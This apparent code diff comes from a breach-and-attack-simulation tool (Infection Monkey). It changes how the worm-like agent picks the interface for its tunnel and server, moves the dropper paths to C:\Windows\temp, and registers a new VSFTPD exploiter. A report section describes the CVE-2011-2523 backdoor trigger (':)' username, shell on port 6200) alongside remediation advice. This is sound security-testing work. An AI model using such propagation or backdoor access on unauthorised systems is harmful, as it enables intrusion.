self._default_tunnel = self._opts.tunnel
|
self._default_tunnel = self._opts.tunnel
|
||||||
self._default_server = self._opts.server
|
self._default_server = self._opts.server
|
||||||
|
try:
|
||||||
|
self._default_server_port = self._default_server.split(':')[1]
|
||||||
|
except KeyError:
|
||||||
|
self._default_server_port = ''
|
||||||
if self._opts.depth:
|
if self._opts.depth:
|
||||||
WormConfiguration._depth_from_commandline = True
|
WormConfiguration._depth_from_commandline = True
|
||||||
self._keep_running = True
|
self._keep_running = True
|
||||||
|
@ -172,8 +178,9 @@ class InfectionMonkey(object):
|
||||||
if monkey_tunnel:
|
if monkey_tunnel:
|
||||||
monkey_tunnel.set_tunnel_for_host(machine)
|
monkey_tunnel.set_tunnel_for_host(machine)
|
||||||
if self._default_server:
|
if self._default_server:
|
||||||
|
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
|
||||||
|
(':'+self._default_server_port if self._default_server_port else ''))
|
||||||
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
|
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
|
||||||
machine.set_default_server(self._default_server)
|
|
||||||
|
|
||||||
# Order exploits according to their type
|
# Order exploits according to their type
|
||||||
if WormConfiguration.should_exploit:
|
if WormConfiguration.should_exploit:
|
||||||
|
|
|
@ -2,7 +2,6 @@ import logging
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import time
|
import time
|
||||||
from difflib import get_close_matches
|
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
|
|
||||||
from infection_monkey.model import VictimHost
|
from infection_monkey.model import VictimHost
|
||||||
|
@ -10,6 +9,7 @@ from infection_monkey.network.firewall import app as firewall
|
||||||
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
||||||
from infection_monkey.network.tools import check_tcp_port
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
from infection_monkey.transport.base import get_last_serve_time
|
from infection_monkey.transport.base import get_last_serve_time
|
||||||
|
from infection_monkey.exploit.tools import get_interface_to_target
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -148,9 +148,9 @@ class MonkeyTunnel(Thread):
|
||||||
try:
|
try:
|
||||||
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
||||||
if '?' == search:
|
if '?' == search:
|
||||||
ip_match = get_close_matches(address[0], self.l_ips) or self.l_ips
|
ip_match = get_interface_to_target(address[0])
|
||||||
if ip_match:
|
if ip_match:
|
||||||
answer = '%s:%d' % (ip_match[0], self.local_port)
|
answer = '%s:%d' % (ip_match, self.local_port)
|
||||||
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
||||||
self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
|
self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
|
||||||
elif '+' == search:
|
elif '+' == search:
|
||||||
|
@ -187,8 +187,8 @@ class MonkeyTunnel(Thread):
|
||||||
if not self.local_port:
|
if not self.local_port:
|
||||||
return
|
return
|
||||||
|
|
||||||
ip_match = get_close_matches(host.ip_addr, local_ips()) or self.l_ips
|
ip_match = get_interface_to_target(host.ip_addr)
|
||||||
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
|
host.default_tunnel = '%s:%d' % (ip_match, self.local_port)
|
||||||
|
|
||||||
def stop(self):
|
def stop(self):
|
||||||
self._stopped = True
|
self._stopped = True
|
||||||
|
|
|
@ -37,8 +37,8 @@ class WindowsUpgrader(object):
|
||||||
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
|
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
|
||||||
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
|
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
|
||||||
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
|
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
|
||||||
except (IOError, AttributeError):
|
except (IOError, AttributeError) as e:
|
||||||
LOG.error("Failed to download the Monkey to the target path.")
|
LOG.error("Failed to download the Monkey to the target path: %s." % e)
|
||||||
return
|
return
|
||||||
|
|
||||||
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
|
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
|
||||||
|
|
|
@ -97,6 +97,13 @@ SCHEMA = {
|
||||||
"HadoopExploiter"
|
"HadoopExploiter"
|
||||||
],
|
],
|
||||||
"title": "Hadoop/Yarn Exploiter"
|
"title": "Hadoop/Yarn Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"VSFTPDExploiter"
|
||||||
|
],
|
||||||
|
"title": "VSFTPD Exploiter"
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
|
@ -585,14 +592,14 @@ SCHEMA = {
|
||||||
"dropper_target_path_win_32": {
|
"dropper_target_path_win_32": {
|
||||||
"title": "Dropper target path on Windows (32bit)",
|
"title": "Dropper target path on Windows (32bit)",
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"default": "C:\\Windows\\monkey32.exe",
|
"default": "C:\\Windows\\temp\\monkey32.exe",
|
||||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
"(32bit)"
|
"(32bit)"
|
||||||
},
|
},
|
||||||
"dropper_target_path_win_64": {
|
"dropper_target_path_win_64": {
|
||||||
"title": "Dropper target path on Windows (64bit)",
|
"title": "Dropper target path on Windows (64bit)",
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"default": "C:\\Windows\\monkey64.exe",
|
"default": "C:\\Windows\\temp\\monkey64.exe",
|
||||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
"(64 bit)"
|
"(64 bit)"
|
||||||
},
|
},
|
||||||
|
@ -749,7 +756,8 @@ SCHEMA = {
|
||||||
"ElasticGroovyExploiter",
|
"ElasticGroovyExploiter",
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter"
|
"HadoopExploiter",
|
||||||
|
"VSFTPDExploiter"
|
||||||
],
|
],
|
||||||
"description":
|
"description":
|
||||||
"Determines which exploits to use. " + WARNING_SIGN
|
"Determines which exploits to use. " + WARNING_SIGN
|
||||||
|
|
|
@ -41,7 +41,8 @@ class ReportService:
|
||||||
'Struts2Exploiter': 'Struts2 Exploiter',
|
'Struts2Exploiter': 'Struts2 Exploiter',
|
||||||
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
|
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
|
||||||
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
|
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
|
||||||
'MSSQLExploiter': 'MSSQL Exploiter'
|
'MSSQLExploiter': 'MSSQL Exploiter',
|
||||||
|
'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
|
||||||
}
|
}
|
||||||
|
|
||||||
class ISSUES_DICT(Enum):
|
class ISSUES_DICT(Enum):
|
||||||
|
@ -57,7 +58,8 @@ class ReportService:
|
||||||
WEBLOGIC = 9
|
WEBLOGIC = 9
|
||||||
HADOOP = 10
|
HADOOP = 10
|
||||||
PTH_CRIT_SERVICES_ACCESS = 11,
|
PTH_CRIT_SERVICES_ACCESS = 11,
|
||||||
MSSQL = 12
|
MSSQL = 12,
|
||||||
|
VSFTPD = 13
|
||||||
|
|
||||||
class WARNINGS_DICT(Enum):
|
class WARNINGS_DICT(Enum):
|
||||||
CROSS_SEGMENT = 0
|
CROSS_SEGMENT = 0
|
||||||
|
@ -254,6 +256,7 @@ class ReportService:
|
||||||
else:
|
else:
|
||||||
processed_exploit['type'] = 'hash'
|
processed_exploit['type'] = 'hash'
|
||||||
return processed_exploit
|
return processed_exploit
|
||||||
|
return processed_exploit
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_smb_exploit(exploit):
|
def process_smb_exploit(exploit):
|
||||||
|
@ -289,6 +292,12 @@ class ReportService:
|
||||||
processed_exploit['type'] = 'rdp'
|
processed_exploit['type'] = 'rdp'
|
||||||
return processed_exploit
|
return processed_exploit
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def process_vsftpd_exploit(exploit):
|
||||||
|
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
||||||
|
processed_exploit['type'] = 'vsftp'
|
||||||
|
return processed_exploit
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_sambacry_exploit(exploit):
|
def process_sambacry_exploit(exploit):
|
||||||
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
||||||
|
@ -355,7 +364,8 @@ class ReportService:
|
||||||
'Struts2Exploiter': ReportService.process_struts2_exploit,
|
'Struts2Exploiter': ReportService.process_struts2_exploit,
|
||||||
'WebLogicExploiter': ReportService.process_weblogic_exploit,
|
'WebLogicExploiter': ReportService.process_weblogic_exploit,
|
||||||
'HadoopExploiter': ReportService.process_hadoop_exploit,
|
'HadoopExploiter': ReportService.process_hadoop_exploit,
|
||||||
'MSSQLExploiter': ReportService.process_mssql_exploit
|
'MSSQLExploiter': ReportService.process_mssql_exploit,
|
||||||
|
'VSFTPDExploiter': ReportService.process_vsftpd_exploit
|
||||||
}
|
}
|
||||||
|
|
||||||
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
||||||
|
@ -644,6 +654,8 @@ class ReportService:
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True
|
||||||
elif issue['type'] == 'sambacry':
|
elif issue['type'] == 'sambacry':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True
|
||||||
|
elif issue['type'] == 'vsftp':
|
||||||
|
issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True
|
||||||
elif issue['type'] == 'shellshock':
|
elif issue['type'] == 'shellshock':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
|
||||||
elif issue['type'] == 'conficker':
|
elif issue['type'] == 'conficker':
|
||||||
|
|
|
@ -151,19 +151,7 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
configSubmit = () => {
|
configSubmit = () => {
|
||||||
// Submit monkey configuration
|
// Submit monkey configuration
|
||||||
this.updateConfigSection();
|
this.updateConfigSection();
|
||||||
this.authFetch(CONFIG_URL,
|
this.sendConfig()
|
||||||
{
|
|
||||||
method: 'POST',
|
|
||||||
headers: {'Content-Type': 'application/json'},
|
|
||||||
body: JSON.stringify(this.state.configuration)
|
|
||||||
})
|
|
||||||
.then(res => {
|
|
||||||
if (!res.ok)
|
|
||||||
{
|
|
||||||
throw Error()
|
|
||||||
}
|
|
||||||
return res;
|
|
||||||
})
|
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(res => {
|
.then(res => {
|
||||||
this.setState({
|
this.setState({
|
||||||
|
@ -313,7 +301,7 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
configuration: JSON.parse(event.target.result),
|
configuration: JSON.parse(event.target.result),
|
||||||
selectedSection: 'basic',
|
selectedSection: 'basic',
|
||||||
lastAction: 'import_success'
|
lastAction: 'import_success'
|
||||||
});
|
}, () => {this.sendConfig()});
|
||||||
this.currentSection = 'basic';
|
this.currentSection = 'basic';
|
||||||
this.currentFormData = {};
|
this.currentFormData = {};
|
||||||
} catch(SyntaxError) {
|
} catch(SyntaxError) {
|
||||||
|
@ -326,6 +314,26 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf');
|
fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf');
|
||||||
};
|
};
|
||||||
|
|
||||||
|
sendConfig() {
|
||||||
|
return (
|
||||||
|
this.authFetch('/api/configuration/island',
|
||||||
|
{
|
||||||
|
method: 'POST',
|
||||||
|
headers: {'Content-Type': 'application/json'},
|
||||||
|
body: JSON.stringify(this.state.configuration)
|
||||||
|
})
|
||||||
|
.then(res => {
|
||||||
|
if (!res.ok)
|
||||||
|
{
|
||||||
|
throw Error()
|
||||||
|
}
|
||||||
|
return res;
|
||||||
|
}).catch(error => {
|
||||||
|
console.log('bad configuration');
|
||||||
|
this.setState({lastAction: 'invalid_configuration'});
|
||||||
|
}));
|
||||||
|
};
|
||||||
|
|
||||||
importConfig = (event) => {
|
importConfig = (event) => {
|
||||||
let reader = new FileReader();
|
let reader = new FileReader();
|
||||||
reader.onload = this.onReadFile;
|
reader.onload = this.onReadFile;
|
||||||
|
@ -402,13 +410,12 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
}
|
}
|
||||||
|
|
||||||
static getFullPBAfile(filename){
|
static getFullPBAfile(filename){
|
||||||
let pbaFile = [{
|
return [{
|
||||||
source: filename,
|
source: filename,
|
||||||
options: {
|
options: {
|
||||||
type: 'limbo'
|
type: 'limbo'
|
||||||
}
|
}
|
||||||
}];
|
}];
|
||||||
return pbaFile
|
|
||||||
}
|
}
|
||||||
|
|
||||||
static getMockPBAfile(mockFile){
|
static getMockPBAfile(mockFile){
|
||||||
|
@ -536,7 +543,7 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
{ this.state.lastAction === 'invalid_configuration' ?
|
{ this.state.lastAction === 'invalid_configuration' ?
|
||||||
<div className="alert alert-danger">
|
<div className="alert alert-danger">
|
||||||
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
|
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
|
||||||
An invalid configuration file was imported and submitted, probably outdated.
|
An invalid configuration file was imported or submitted.
|
||||||
</div>
|
</div>
|
||||||
: ''}
|
: ''}
|
||||||
{ this.state.lastAction === 'import_success' ?
|
{ this.state.lastAction === 'import_success' ?
|
||||||
|
|
|
@ -31,7 +31,8 @@ class ReportPageComponent extends AuthComponent {
|
||||||
WEBLOGIC: 9,
|
WEBLOGIC: 9,
|
||||||
HADOOP: 10,
|
HADOOP: 10,
|
||||||
PTH_CRIT_SERVICES_ACCESS: 11,
|
PTH_CRIT_SERVICES_ACCESS: 11,
|
||||||
MSSQL: 12
|
MSSQL: 12,
|
||||||
|
VSFTPD: 13
|
||||||
};
|
};
|
||||||
|
|
||||||
Warning =
|
Warning =
|
||||||
|
@ -312,6 +313,10 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<li>Elasticsearch servers are vulnerable to <a
|
<li>Elasticsearch servers are vulnerable to <a
|
||||||
href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>.
|
href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>.
|
||||||
</li> : null}
|
</li> : null}
|
||||||
|
{this.state.report.overview.issues[this.Issue.VSFTPD] ?
|
||||||
|
<li>VSFTPD is vulnerable to <a
|
||||||
|
href="https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor">CVE-2011-2523</a>.
|
||||||
|
</li> : null}
|
||||||
{this.state.report.overview.issues[this.Issue.SAMBACRY] ?
|
{this.state.report.overview.issues[this.Issue.SAMBACRY] ?
|
||||||
<li>Samba servers are vulnerable to ‘SambaCry’ (<a
|
<li>Samba servers are vulnerable to ‘SambaCry’ (<a
|
||||||
href="https://www.samba.org/samba/security/CVE-2017-7494.html"
|
href="https://www.samba.org/samba/security/CVE-2017-7494.html"
|
||||||
|
@ -422,6 +427,7 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
generateReportGlanceSection() {
|
generateReportGlanceSection() {
|
||||||
let exploitPercentage =
|
let exploitPercentage =
|
||||||
(100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length;
|
(100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length;
|
||||||
|
@ -681,6 +687,28 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
generateVsftpdBackdoorIssue(issue) {
|
||||||
|
return (
|
||||||
|
<li>
|
||||||
|
Update your VSFTPD server to the latest version vsftpd-3.0.3.
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
The machine <span className="label label-primary">{issue.machine}</span> (<span
|
||||||
|
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) has a backdoor running at port <span
|
||||||
|
className="label label-danger">6200</span>.
|
||||||
|
<br/>
|
||||||
|
The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
|
||||||
|
<br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised.
|
||||||
|
Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200.
|
||||||
|
<br/><br/>
|
||||||
|
The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200.
|
||||||
|
<br/><br/>Read more about the security issue and remediation <a
|
||||||
|
href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523"
|
||||||
|
>here</a>.
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
generateElasticIssue(issue) {
|
generateElasticIssue(issue) {
|
||||||
return (
|
return (
|
||||||
<li>
|
<li>
|
||||||
|
@ -896,6 +924,9 @@ generateMSSQLIssue(issue) {
|
||||||
generateIssue = (issue) => {
|
generateIssue = (issue) => {
|
||||||
let data;
|
let data;
|
||||||
switch (issue.type) {
|
switch (issue.type) {
|
||||||
|
case 'vsftp':
|
||||||
|
data = this.generateVsftpdBackdoorIssue(issue);
|
||||||
|
break;
|
||||||
case 'smb_password':
|
case 'smb_password':
|
||||||
data = this.generateSmbPasswordIssue(issue);
|
data = this.generateSmbPasswordIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
|
Loading…
Reference in New Issue